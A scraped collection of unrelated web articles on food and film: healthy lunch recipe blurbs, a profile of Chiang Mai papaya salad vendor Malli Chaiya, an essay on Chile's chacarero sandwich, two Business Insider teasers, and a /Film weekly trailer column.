Sweet potatoes are great sources for carbs because they are rich in vitamins and minerals that support your digestive system and a healthy metabolism.Broccoli provides rich green nutrients and helps to cleanse your body and support your immune system.Combining the two creates a delicious, guilt-free lunch that works to keep you operating at your best and brightest!~ Get the recipe here!
Chickpea contains muscle-building amino acids, protein, and healthy fats that also support weight goals and mental performance.To make this dish totally vegan or vegetarian, simply nix the feta and go with a vegan cheese for the creamy effect.~ Get the recipe here!
If you’ve only got one pot to spare, it’s all you need to cook this dish in under 30 minutes.You can purchase pesto from the store or try your hand at homemade. Making your own pesto with freshly picked Basil leaves is a wonderful way to connect with your food.Still feel like it needs a little something more? Add cherry tomatoes, olives, and chicken for an even more fulfilling meal.For gluten-free options, you can also try the same recipe with brown rice pasta or veggie noodles.~ Get the recipe here!
Mix up your traditional pasta salad with homemade avocado spread!You can definitely stretch this as a side for a few lunches, pairing each with a different protein like a garlic-lemon chicken or top it off with baked salmon!~ Get the recipe here!
If you know your day is going to be non-stop, these easy granola bars may be your saving grace! You only need to mix together 4 ingredients and chill the bars to firm.Delicious, healthy, and easy for any day of the week. And the kids love them, too!~ Get the recipe here!
Here’s another quick fix made with only five ingredients! This recipe gives you about 12 grams of protein, plus the health benefits found in yogurt like natural probiotics.If you choose whole grain bread, the whole meal with remain very low in fat and boost your energy for the second half of your day.If you only want to bring one or two slices, it would pair well with a side of fresh berries, sliced apples, or banana chips.~ Get the recipe here!
Parfaits don’t have to be just breakfast or dessert, they can make filling lunches. This one is made with fresh and energizing fruit.You can add almonds, granola, and even more fruit for a larger portion.~ Get the recipe here!With these 25 healthy lunch recipes, you can spice up your lunch break without breaking the bank. From now on, you can get the most from your lunch break with fresh and healthy lunches!
Corinne Redfern
July 31, 2018
Her aunt taught her how to cook as a teenager, and now, 51-year-old Malli Chaiya, a finalist in Urban Adventures’ first ever global street food awards, has been running her papaya salad stall on Chiang Mai’s Kampangdin Road for 21 years. Corinne Redfern goes for a chat—and a tasting.
The first time Malli Chaiya prepared a papaya salad, she was 13 years old and trying desperately not to drip tears into the wooden bowl of finely sliced fruit, garlic, fish sauce and tomatoes.
“I’d just moved to Bangkok on my own, to live with my auntie and uncle, and I was terrified,” she remembers. “I’d grown up in a small town in the northeastern provinces of Thailand, and I wasn’t used to all these buildings and all these people. Everything was scary and new. I spent every day standing behind my aunt as she ran her food cart in the city center, watching her cook and trying not to miss my family.”
But if standing behind a food cart all day is hard, then hairdressing proved even harder. “I was expected to start work at 7am and continue through until 8pm every day of the week,” Malli says. “I was so tired and stressed. I had fallen in love too and married Narong—but I had no time to see him.”
She pauses and lowers her voice, setting down her knife and stepping out from behind her cooking station for the first time so that we can speak privately. “It was after I had three miscarriages that we agreed enough was enough,” she shares. “I was so unhappy. I couldn’t stop crying.”
Desperate, the couple used Narong’s savings from his work as a mechanic to buy a small metal cart and two plastic stools, and they positioned them on the pavement outside the front of their house on Kampangdin Road. “The first thing I did was buy the ingredients to make papaya salad,” she remembers. “I was so nervous, I had to keep tasting the mixture to make sure I’d got the measurements right. These days, I just know.”
Malli insists she hasn’t changed despite her growing reputation. She still wears the same green gingham apron over the same blue t-shirt and she still chops the vegetables with the same steady hands. But she speaks with a quiet confidence that belies her years of success. After all, expanding the business wasn’t her only triumph. “Within a year of buying the cart, I was pregnant with my daughter,” she says, beaming. “Three years later, I had a son too.”
Her children grew up in the background of the family business, accompanying their mother before school to Chiang Mai’s morning markets to buy fresh vegetables and helping to wash the plates when they’d finished their homework at night. Fast forward two decades, and Malli’s daughter is now studying in the Philippines, while her 18-year-old son attends the local sixth-form college.
“On a good day, I can earn 15,000 baht (USD $ 450) in six hours, and all that money goes towards their education,” Malli says, adding that she can barely fathom earning such an income. As a child, her family was so poor that she felt forced to drop out of school aged 11 because she needed to help support her rice-farmer parents.
The food appears to be flying off the small metal display shelf next to her, but on the off-chance that there is anything left over at the end of the day, Malli says she gives it to the women who work with her to take home to their families. “My auntie taught me the saying ‘clean food, good taste’, and it’s true. You can tell when you’re not eating fresh meat or vegetables, and I won’t take that risk with my customers.”
Her passion is clear, but Malli admits the work isn’t always easy. Over time, she’s developed methods for dealing with the madness. Some days, when she’s feeling particularly tired or stressed, she imagines her aunt watching her cook. Her death six years ago came out of the blue, and still feels like a punch to the stomach. “She was like a mother to me,” Malli says, turning away from the stove for only the second time this morning to speak more softly. “She taught me everything I know—I would be nothing if it wasn’t for her. She was only 65.”
Reaching forward to touch my hand, Malli says she hangs onto the memory of her aunt flying up from Bangkok for a holiday a few years earlier and experiencing the food cart for herself. “She said that she was so proud of me and everything that I’d achieved. Then she tasted the papaya salad, and said it was even better than her own,” Malli laughs. “I know it’s not true, but it was the happiest moment of my life.”
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Composed of ingredients so thinly sliced they rival its skinny country of origin, the chacarero is surprisingly dense when fully stuffed. Perhaps the good half a cow’s worth of fried churrasco-style steak has something to do with it. Atop the meat mountain go thick-cut hunks of tomato (the chunkiest addition to the chacarero), followed by a vegetable that doesn’t typically scream “sandwich” — a fistful of vibrant green bean slivers that add a freshness and snap to what could otherwise be a heavy mess. Optional wafer-thin slices of green ají (chili pepper) subtly boost the flavor, and the whole thing is then (somewhat) contained by what Valparaíso native and gastro-blogger Andre Arriaza describes via email as the Chilean burger bun, aka pan amasado.
When you do finally get your gob around a truly sky-high, classic version of the chacarero, it’s a delicious mad mess waiting to happen.
The chacarero ascended into a whole new sphere of popularity outside its native Chile in 2014 when Time magazine ranked it as one of the world’s top 13 sandwiches. Before this seminal moment in sandwich history, Arriaza says he “barely found a foreigner who would know about it,” designating it instead as “an old-time favorite for locals.” But now you can find one at most Chilean diners and often in fancier restaurants, typically for around $ 8.

But when you do finally get your gob around a truly sky-high, classic version of the chacarero, it’s a delicious mad mess waiting to happen. (Although, in my iteration from La Fuente Alemana, the mayonnaise that was, quite frankly, poured atop the sandwich certainly helped bind the fillings together.) Slopping on your shirt is far better than tucking in with a knife and fork, though, like some kind of sandwich-eating heathen, or retreating to eat alone. After all, “Chileans love eating sandwiches,” Arriaza explains, and they serve as the social lubricant that inspires conversation between friends.
Even if you’re going solo in Chile, there’s typically a communal feel to the eating experience anyway. At La Fuente Alemana, diners sit at a bar hemming in the preparation area, watching eagerly as sandwich makers and servers in starchy white uniforms quickly knock together their order. But no retro sandwich shop can stop this quintessential, capital-city meal from feeling removed from its supposedly — “the origins of the sandwich are unknown,” Arriaza admits — rural roots.

The name chacarero itself, which likely derives from a Quechua word chacra (rural farm), has since slotted itself neatly into the regional Spanish of Chile. Chacarero, in turn, means “owner of the farm,” and as Arriaza explains, the bread and meat of the chacarero sandwich are therefore popularly (and, of course, symbolically, he hastens to add) interpreted as “the owner who uses produce from his or her farm.”
Regardless of the truth of the chacarero’s farm-to-fame backstory, devouring one (or three, in practically as many days, as I did) belongs at the top of any must-eat list when visiting Chile. Where else are you going to find a green beans–and–bread combo that works as well as this one?
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Mick Tsikas/AP
When French President Emmanuel Macron gave thanks to Australian Prime Minister Malcolm Turnbull during a speech on Wednesday, some considered his sentiment a little too generous.
“I wanted to thank you for your welcome,” Macron said. “Thank you and your delicious wife for your warm welcome.”See the rest of the story at Business Insider
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2018 is shaping up to be the year of the Mediterranean diet. Google search interest in this diet spiked a few days into January, around the same time that US News & World Report gave it the #1 spot (tied with the DASH diet) in its Best Diets Overall rankings. See the rest of the story at Business Insider
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Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising?
This week we take aim at Harvey Weinstein, take another look at a fairy tale gone horribly awry, get excited for a different kind of animated movie, fall in love with the absolutely wrong person, and try something new to eat.
After so many op-eds, think pieces, hot takes, justifiable written word tongue lashings, and endless speculation about what will happen next with Harvey Weinstein, I’m looking forward to taking a step back to survey the decimation.
Anyone who has ever watched a Frontline report on any given subject can agree on just how sharp their blade is when it comes to cutting through hyperbole so as to deliver the unkindest cut of all: an examination into what really brought us to this moment by way of top shelf investigative journalism. This trailer is all I need to be put on alert that this will give us an even deeper understanding of this story.
Man, it’s tough to top Don Hertzfelt’s World of Tomorrow Episode 2: The Burden of Other People’s Thoughts this year, but My Moon is going to try.
When it comes to using animation to illuminate the inner workings of our soul and what it represents to another artist I am all for directors like Eusong Lee who want to use this medium to tell their own story. This trailer is way too brief, but it’s simply gorgeous to look at while trying to understand where it’s going. It’s quite alright to not have any idea where it is all leading towards as it’s just enough to establish that it’s here, it has something to say, and it’s worthy of your attention.
Give me more of this.
I have no idea who the hell this guy is, but I’ll be damned sure to watch all of these episodes that are executive produced by Morgan Neville (20 Feet From Stardom). They say a stranger is just a friend you haven’t met yet and I am all about that philosophy when it comes to trying new shows. On top of that you have guys like Nick Kroll and Eric Wareheim strolling in to this show about food, and the trailer just simply sizzles on the strength of how well it blends all of its narratives into a focus chaos of sight and unexplained bon mots that have no context whatsoever. It’s a little gonzo and, for that, I salute you and now put you on my radar.
What in the hell is happening here?
Director Xander Robin wants to keep it raw and, hell, let him keep it that way. I’m glad that I’m a little put on my heels by what I see here because that means I’m struggling to make sense of the senseless. It seems like what we have here is an uncommon romance picture and that’s okay by me if that’s where we’re ultimately headed. What I can tell you is that the pull-quotes are lovingly loaded in here and help to calm any fears, and they just confirm that this is an off-the-wall assault on your eyes. It’s strange, it’s nice to look at, and, there just might a fantastic movie somewhere in-between all that.
Yes, we’ve talked about this one before.
We are now getting a new trailer for director Steven Kastrissios’ warped telling of a story that looks and acts like something that even Grimms’ Fairy Tales would have put the kabosh on had they asked for the beats of the story. More power to him, though, as this trailer is selling something that has attitude to spare on all sides. It’s thrilling, it’s violent, and it very well could be a nice diversion from anything else you might have seen this year.
Nota bene: If you have any suggestions of trailers to possibly be included in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp
In case you missed them, here are the other trailers we covered at /Film this week:
The post This Week In Trailers: Weinstein, My Moon, Bloodlands, Are We Not Cats, Ugly Delicious appeared first on /Film.
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